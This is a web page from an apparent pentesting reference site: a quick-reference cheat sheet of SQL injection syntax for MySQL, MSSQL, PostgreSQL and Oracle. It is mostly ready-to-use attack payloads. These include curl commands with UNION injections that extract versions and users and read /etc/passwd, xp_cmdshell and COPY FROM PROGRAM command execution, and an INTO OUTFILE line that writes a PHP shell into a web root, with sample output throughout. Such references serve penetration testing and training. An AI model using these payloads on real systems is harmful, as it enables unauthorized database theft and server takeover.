# Database-Specific SQLi Syntax

> Covers database-specific SQL injection syntax variations across MySQL, MSSQL, Oracle, and PostgreSQL for crafting targeted exploitation payloads.

- **URL:** https://hackindex.io/services/web/exploitation/sql-injection/database-specific-sqli-syntax
- **Path:** HTTP/HTTPS > Exploitation > SQL Injection Exploitation
- **Up:** [SQL Injection Exploitation](https://hackindex.io/services/web/exploitation/sql-injection.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

SQL injection payloads vary significantly between database engines. String concatenation, comment syntax, metadata tables, row limiting, and built-in functions all differ. This page is a quick reference for adapting payloads when you identify the target database, covering the four most common engines in web applications: MySQL, MSSQL, PostgreSQL, and Oracle. Use these syntax differences alongside the exploitation techniques in the [SQL injection hub](https://hackindex.io/services/web/exploitation/sql-injection).

## MySQL

```sql
-- Comments
#                                (hash, MySQL-specific)
-- -                             (double dash + space, the trailing - ensures a space)
/* comment */                    (inline comment)

-- String concatenation
CONCAT('a','b')                  -- Returns: ab
CONCAT_WS(':',user,pass)         -- Returns: user:pass (with separator)

-- Version
SELECT @@version                 -- 5.7.33-0ubuntu0.18.04.1
SELECT version()                 -- Same result

-- Current user and database
SELECT user()                    -- root@localhost
SELECT current_user()            -- root@localhost
SELECT database()                -- webapp

-- Schema enumeration
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema='webapp'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Row limiting
SELECT * FROM users LIMIT 5     -- First 5 rows
SELECT * FROM users LIMIT 2,5   -- 5 rows starting from offset 2

-- Time delay
SELECT SLEEP(5)                  -- Pauses for 5 seconds
SELECT BENCHMARK(10000000,SHA1('test'))  -- CPU-bound delay

-- File read (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd')

-- File write (requires FILE privilege + secure_file_priv allows it)
SELECT 'content' INTO OUTFILE '/var/www/html/shell.php'

-- Aggregate rows
SELECT group_concat(username,':',password) FROM users
```

**MySQL version and user extraction**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,CONCAT(@@version,':',user()),NULL-- -"
# 5.7.33-0ubuntu0:root@localhost
```

**MySQL file read**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -"
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

## MSSQL

```sql
-- Comments
--                               (double dash)
/* comment */                    (inline comment)

-- String concatenation
'a'+'b'                          -- Returns: ab

-- Version
SELECT @@version                 -- Microsoft SQL Server 2019...
SELECT SERVERPROPERTY('ProductVersion')  -- 15.0.2000.5

-- Current user and database
SELECT SYSTEM_USER              -- sa
SELECT CURRENT_USER             -- dbo
SELECT DB_NAME()                -- webapp

-- Schema enumeration
SELECT name FROM master.dbo.sysdatabases
SELECT table_name FROM information_schema.tables WHERE table_catalog='webapp'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Legacy catalog views:
SELECT name FROM sysobjects WHERE xtype='U'
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')

-- Row limiting
SELECT TOP 5 * FROM users       -- First 5 rows
SELECT * FROM users ORDER BY id OFFSET 2 ROWS FETCH NEXT 5 ROWS ONLY  -- 2012+

-- Time delay
WAITFOR DELAY '0:0:5'           -- Pauses for 5 seconds

-- Command execution (requires sysadmin)
EXEC xp_cmdshell 'whoami'

-- Aggregate rows
SELECT string_agg(username,',') FROM users          -- 2017+
SELECT (SELECT name+',' FROM sysobjects FOR XML PATH(''))  -- Older versions
```

**MSSQL version and user extraction**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,@@version+' | '+SYSTEM_USER,NULL--"
# Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 | sa
```

**MSSQL command execution via xp_cmdshell**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC xp_cmdshell 'whoami'--"
# nt service\mssqlserver
```

## PostgreSQL

```sql
-- Comments
--                               (double dash)
/* comment */                    (inline comment)

-- String concatenation
'a'||'b'                         -- Returns: ab

-- Version
SELECT version()                 -- PostgreSQL 14.5 on x86_64-pc-linux-gnu

-- Current user and database
SELECT current_user              -- postgres
SELECT session_user              -- postgres
SELECT current_database()        -- webapp

-- Schema enumeration (information_schema)
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Native catalog views:
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT attname FROM pg_attribute WHERE attrelid='users'::regclass AND attnum>0

-- Row limiting
SELECT * FROM users LIMIT 5            -- First 5 rows
SELECT * FROM users LIMIT 5 OFFSET 2   -- 5 rows, skip first 2

-- Time delay
SELECT pg_sleep(5)              -- Pauses for 5 seconds

-- File read (requires superuser)
SELECT pg_read_file('/etc/passwd')

-- File write
COPY (SELECT 'content') TO '/tmp/output.txt'

-- Command execution (requires superuser, 9.3+)
COPY cmd_output FROM PROGRAM 'id'

-- Aggregate rows
SELECT string_agg(username,',') FROM users
```

**PostgreSQL version and user extraction**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,version()||' | '||current_user,NULL--"
# PostgreSQL 14.5 on x86_64-pc-linux-gnu | postgres
```

**PostgreSQL file read**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,pg_read_file('/etc/passwd'),NULL--"
# root:x:0:0:root:/root:/bin/bash
# postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
```

## Oracle

```sql
-- Comments
--                               (double dash)
/* comment */                    (inline comment)

-- String concatenation
'a'||'b'                         -- Returns: ab

-- Version
SELECT banner FROM v$version WHERE ROWNUM=1  -- Oracle Database 19c...
SELECT version FROM v$instance               -- 19.0.0.0.0

-- Current user and schema
SELECT SYS_CONTEXT('USERENV','SESSION_USER') FROM dual  -- WEBAPP
SELECT USER FROM dual                                    -- WEBAPP
SELECT SYS_CONTEXT('USERENV','CURRENT_SCHEMA') FROM dual -- WEBAPP

-- FROM dual requirement
-- Every SELECT must include FROM. Use "FROM dual" for scalar values.
SELECT 1 FROM dual

-- Schema enumeration
SELECT owner,table_name FROM all_tables WHERE owner='WEBAPP'
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
-- Note: Oracle table/column names are uppercase by default

-- Row limiting
SELECT * FROM users WHERE ROWNUM<=5          -- First 5 rows (11g)
SELECT * FROM users FETCH FIRST 5 ROWS ONLY  -- 12c+
-- No native LIMIT/OFFSET syntax

-- Time delay
-- No built-in SLEEP function
-- Use heavy query or DBMS_PIPE:
SELECT CASE WHEN 1=1 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE NULL END FROM dual

-- Aggregate rows
SELECT LISTAGG(username,',') WITHIN GROUP (ORDER BY username) FROM WEBAPP.USERS
```

**Oracle version extraction**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT banner FROM v\$version WHERE ROWNUM=1),NULL FROM dual--"
# Oracle Database 19c Enterprise Edition Release 19.0.0.0.0
```

**Oracle user and schema enumeration**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,SYS_CONTEXT('USERENV','SESSION_USER'),NULL FROM dual--"
# WEBAPP
```

## Quick Comparison

Side-by-side reference for the most commonly needed syntax when adapting payloads between databases.

| Function | MySQL | MSSQL | PostgreSQL | Oracle |
| --- | --- | --- | --- | --- |
| String concat | CONCAT(a,b) | a+b | a||b | a||b |
| Comment | -- - or # | -- | -- | -- |
| Version | @@version | @@version | version() | v$version |
| Current user | user() | SYSTEM_USER | current_user | SYS_CONTEXT(...) |
| Current DB | database() | DB_NAME() | current_database() | SYS_CONTEXT(...) |
| Sleep | SLEEP(5) | WAITFOR DELAY '0:0:5' | pg_sleep(5) | DBMS_PIPE (5) |
| Row limit | LIMIT x,y | TOP / OFFSET FETCH | LIMIT / OFFSET | ROWNUM / FETCH FIRST |
| Schema tables | information_schema | information_schema / sysobjects | information_schema / pg_tables | all_tables |
| File read | LOAD_FILE() | OPENROWSET | pg_read_file() | UTL_FILE |
| Aggregate | group_concat() | string_agg() / FOR XML | string_agg() | LISTAGG() |
| Dual table | Not needed | Not needed | Not needed | FROM dual required |

## References

- [PortSwigger: SQL Injection Cheat Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet) - Comprehensive SQL injection syntax reference for all major databases.
- [PentestMonkey: MySQL SQLi Cheat Sheet](https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet) - MySQL-specific injection payloads and extraction techniques.
- [PentestMonkey: Oracle SQLi Cheat Sheet](https://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet) - Oracle-specific injection payloads and schema enumeration.